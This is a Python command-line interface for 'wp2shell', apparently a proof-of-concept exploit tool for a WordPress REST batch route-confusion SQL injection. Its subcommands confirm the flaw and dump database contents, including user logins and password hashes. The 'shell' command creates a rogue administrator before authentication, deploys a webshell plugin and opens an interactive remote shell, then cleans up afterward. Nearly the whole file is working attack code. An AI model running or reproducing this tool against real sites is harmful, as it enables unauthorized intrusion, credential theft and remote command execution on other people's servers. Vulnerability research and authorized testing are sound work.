"""Command-line interface.""" from __future__ import annotations import argparse import shlex import sys from typing import Optional from . import __version__ from .client import BatchClient from .exploit import PreAuthAdminCreator from .shell import AdminSession from .sqli import BlindSQLi, ErrorBasedSQLi, UnionSQLi from .version import public_version_hints, version_status, wordpress_markers try: import readline # noqa: F401 - enables line editing/history for the interactive prompt except ImportError: pass _TTY = sys.stdout.isatty() def _paint(code: str, text: str) -> str: return f"\033[{code}m{text}\033[0m" if _TTY else text def info(msg: str) -> None: print(f"[*] {msg}") def good(msg: str) -> None: print(_paint("32", f"[+] {msg}")) def bad(msg: str) -> None: print(_paint("31", f"[-] {msg}")) def warn(msg: str) -> None: print(_paint("33", f"[!] {msg}")) def _progress(text: str) -> None: # Single updating line on a terminal; suppressed when output is piped or redirected. if _TTY: sys.stdout.write("\r\033[K " + text) sys.stdout.flush() def _clear_progress() -> None: if _TTY: sys.stdout.write("\r\033[K") sys.stdout.flush() def _client(args: argparse.Namespace) -> BatchClient: return BatchClient( args.url, timeout=args.timeout, rest_route=args.rest_route, proxy=args.proxy, ) def _short(text: str, *, limit: int = 96) -> str: if len(text) <= limit: return text return text[: limit - 3] + "..." def _print_wordpress_markers(client: BatchClient) -> tuple: markers = wordpress_markers(client) if markers: info(f"WordPress markers found ({' / '.join(markers)})") else: warn("No public WordPress markers found.") return markers def _print_version_hints(client: BatchClient) -> tuple: hints = public_version_hints(client) if not hints: warn("No public WordPress version hints found.") return hints info("Public WordPress version hints:") for hint in hints: line = ( f" - {hint.version} via {hint.source} " f"({version_status(hint.version)}) - {_short(hint.detail)}" ) print(_paint("33", line) if hint.affected else _paint("32", line)) if any(hint.affected for hint in hints): warn("A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.") return hints # -- commands --------------------------------------------------------------- def cmd_check(args: argparse.Namespace) -> int: # The confirmation request sleeps for --sleep, so the timeout must exceed it. client = BatchClient( args.url, timeout=max(args.timeout, args.sleep + 10), rest_route=args.rest_route, proxy=args.proxy, ) _print_wordpress_markers(client) hints = _print_version_hints(client) probe = client.marker_probe() if probe.status != 207: bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.") return 1 markers = client.batch_marker_codes(probe) if markers: info(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}") else: good("Batch endpoint reachable and unauthenticated (HTTP 207).") route_confusion = client.has_route_confusion_markers(probe) if route_confusion: good("VULNERABLE — batch route-confusion behavior detected.") if not args.confirm_sqli: info("SQLi confirmation not sent; use --confirm-sqli for the active SQLi probe.") return 0 elif not args.confirm_sqli: bad("Route-confusion marker pattern not detected.") if any(hint.affected for hint in hints): warn("Version suggests exposure, but the batch marker probe did not show vulnerable behavior.") return 2 union = UnionSQLi(client) if union.available(): good("SQLi confirmed — UNION fake-post read returned data.") return 0 info("UNION SQLi confirmation unavailable; falling back to timing confirmation.") result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples) if args.samples > 1: details = ", ".join( f"{base:.2f}s->{delay:.2f}s" for base, delay in result.samples ) info(f"Timing samples: {details}") info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.") if result.confirmed: good(f"SQL timing confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.") return 0 if route_confusion: warn( f"SQL timing not confirmed — baseline {result.baseline:.2f}s, injected " f"{result.delayed:.2f}s; route-confusion marker pattern still detected." ) warn("A WAF or edge rule may be filtering the SQLi payload; the route-confusion bug still looks present.") return 0 bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.") warn("This may be a patched target, or a WAF/edge rule filtering the SQLi payload.") if any(hint.affected for hint in hints): warn("Version suggests exposure, but the timing payload did not execute or was blocked.") return 2 def _reader(args: argparse.Namespace, client: BatchClient): """Pick the extraction technique. auto prefers the fastest in-band method that works: UNION (one request per value, forges a fake WP_Post), then error-based (needs reflected DB errors), then blind binary search. """ if args.technique in ("auto", "union"): union = UnionSQLi(client) if union.available(): good("UNION extraction available (in-band, one request per value) — using it.") return union if args.technique == "union": bad("UNION extraction requested but the forged post was not reflected.") return None info("UNION extraction unavailable; trying error-based.") if args.technique in ("auto", "error"): error_based = ErrorBasedSQLi(client) if error_based.available(): good("Error-based extraction available (target reflects DB errors) — using it.") return error_based if args.technique == "error": bad("Error-based extraction requested but the target does not reflect DB errors.") return None info("Target does not reflect DB errors; falling back to blind extraction.") return BlindSQLi(client) def cmd_read(args: argparse.Namespace) -> int: client = _client(args) sqli = _reader(args, client) if sqli is None: return 2 if args.query: info(f"Reading: {args.query}") value = sqli.extract(args.query, max_length=args.max_length, on_char=_progress) _clear_progress() good(f"Result: {value}") elif args.preset == "fingerprint": for label, expr in ( ("MySQL version", "SELECT @@version"), ("Database user", "SELECT CURRENT_USER()"), ("Database name", "SELECT DATABASE()"), ): good(f"{label}: {sqli.extract(expr, max_length=args.max_length)}") elif args.preset == "users": table = f"{args.prefix}users" total = sqli.integer(f"SELECT COUNT(*) FROM {table}") info(f"{total} user(s) in {table}.") for offset in range(total): row = sqli.extract( f"SELECT CONCAT_WS(0x7c, ID, user_login, user_pass) " f"FROM {table} ORDER BY ID LIMIT {offset},1", max_length=args.max_length, on_char=_progress, ) _clear_progress() good(row) info(f"{sqli.requests} request(s) sent.") return 0 _CWD_MARK = "__wp2shellcwd__" # shell-metacharacter-free so it survives the remote shell def _repl(session: AdminSession, path: str) -> None: """A minimal interactive prompt piping each line through the webshell. Commands are stateless server-side, so the working directory is tracked client-side and re-applied to each command (which makes `cd` behave as expected). """ pwd = session.run(path, "pwd") if pwd is None: bad("webshell not responding; aborting interactive mode.") return cwd = pwd.strip() or "/" info("Interactive shell — type commands, 'exit' or Ctrl-D to quit.") while True: try: line = input(_paint("36", f"{cwd} $ ")) except (EOFError, KeyboardInterrupt): print() return command = line.strip() if not command: continue if command in ("exit", "quit"): return out = session.run( path, f"cd {shlex.quote(cwd)} 2>/dev/null; {command}; printf '{_CWD_MARK}%s' \"$(pwd)\"" ) if out is None: bad("no response from webshell") continue body, marker, tail = out.rpartition(_CWD_MARK) if marker: cwd = tail.strip() or cwd out = body out = out.rstrip("\n") if out: print(out) def cmd_shell(args: argparse.Namespace) -> int: if not args.cmd and not args.interactive: bad("specify --cmd or --interactive") return 2 if bool(args.user) != bool(args.password): bad("specify both --user and --password, or omit both to use the pre-auth bridge") return 2 warn("This uploads a plugin containing a webshell to the target.") generated_admin = None username, password = args.user, args.password if username is None: warn("No credentials supplied; attempting pre-auth administrator creation.") creator = PreAuthAdminCreator( args.url, timeout=args.timeout, rest_route=args.rest_route, proxy=args.proxy, ) info("Creating administrator through the SQLi-to-customizer bridge...") generated_admin = creator.create_admin() username, password = generated_admin.username, generated_admin.password good(f"Administrator created: {username}") session = AdminSession(args.url, timeout=args.timeout, proxy=args.proxy) info(f"Authenticating as {username!r}...") if not session.login(username, password): bad("Login failed.") if generated_admin: warn("The pre-auth bridge appeared to run, but the generated credentials did not log in.") return 1 good("Authenticated.") info("Deploying webshell plugin...") path = session.deploy_webshell() good(f"Webshell: {args.url.rstrip('/')}{path}") rc = 0 try: if args.cmd: output = session.run(path, args.cmd) if output is None: bad("No output — the upload likely failed (nonce/permissions) or the plugin is not web-served.") rc = 1 else: print() print(output.rstrip("\n")) print() if args.interactive: _repl(session, path) finally: if generated_admin: info("Deleting generated administrator...") try: removed_admin = session.delete_user_with_shell( path, generated_admin.username, reassign_to=generated_admin.source_admin_id, ) except Exception: # noqa: BLE001 - continue to remove the webshell. removed_admin = False if removed_admin: good("Generated administrator removed from the target.") else: bad(f"Generated administrator cleanup failed: {generated_admin.username}:{generated_admin.password}") rc = 1 info("Cleaning up webshell...") try: removed = session.cleanup(path) except Exception as exc: # noqa: BLE001 - cleanup must not hide the original failure bad(f"Webshell cleanup failed ({exc}).") rc = 1 else: if removed: good("Webshell removed from the target.") else: bad("Webshell cleanup failed.") rc = 1 return rc # -- parser ----------------------------------------------------------------- def _add_common(parser: argparse.ArgumentParser, *, rest_route: bool = True) -> None: parser.add_argument("url", help="target base URL, e.g. http://target") if rest_route: parser.add_argument( "--rest-route", action="store_true", help="use /?rest_route=/batch/v1 instead of /wp-json/batch/v1", ) parser.add_argument("--timeout", type=float, default=30.0, help="request timeout (default: 30)") parser.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080") def build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser( prog="wp2shell", description="WordPress REST batch route-confusion SQLi PoC associated with wp2shell.", ) parser.add_argument("--version", action="version", version=f"wp2shell {__version__}") sub = parser.add_subparsers(dest="command", required=True) check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)") _add_common(check) check.add_argument( "--sleep", type=float, default=3.0, help="SQL timing delay used by the --confirm-sqli fallback (default: 3)", ) check.add_argument( "--samples", type=int, default=3, help="baseline/delayed SQL timing pairs used by the --confirm-sqli fallback (default: 3)", ) check.add_argument( "--confirm-sqli", action="store_true", help="also send an active SQLi confirmation payload", ) check.set_defaults(func=cmd_check) read = sub.add_parser("read", help="read from the database via blind SQL injection") _add_common(read) group = read.add_mutually_exclusive_group() group.add_argument( "--preset", choices=("fingerprint", "users"), default="fingerprint", help="fingerprint (version/user/db) or users (logins and password hashes)", ) group.add_argument("--query", help='scalar SQL expression to read, e.g. "SELECT @@version"') read.add_argument("--prefix", default="wp_", help="database table prefix (default: wp_)") read.add_argument("--max-length", type=int, default=128, help="max characters per value") read.add_argument( "--technique", choices=("auto", "union", "blind", "error"), default="auto", help="extraction technique: auto (union -> error-based -> blind), union (in-band, forges a " "fake WP_Post; one request per value), error (in-band, needs visible DB errors), or blind " "(bit-by-bit boolean/timing)", ) read.set_defaults(func=cmd_read) shell = sub.add_parser("shell", help="plugin shell; with credentials or via the pre-auth bridge") _add_common(shell) shell.add_argument("--user", help="admin username; omit with --password to use the pre-auth bridge") shell.add_argument("--password", help="admin password; omit with --user to use the pre-auth bridge") shell.add_argument("--cmd", help="command to run on the target (omit when using --interactive)") shell.add_argument("-i", "--interactive", action="store_true", help="open an interactive shell after deploying") shell.set_defaults(func=cmd_shell) return parser def main(argv: Optional[list] = None) -> int: args = build_parser().parse_args(argv) try: return args.func(args) except KeyboardInterrupt: return 130 except Exception as exc: # noqa: BLE001 - surface a clean message, not a traceback bad(str(exc)) return 1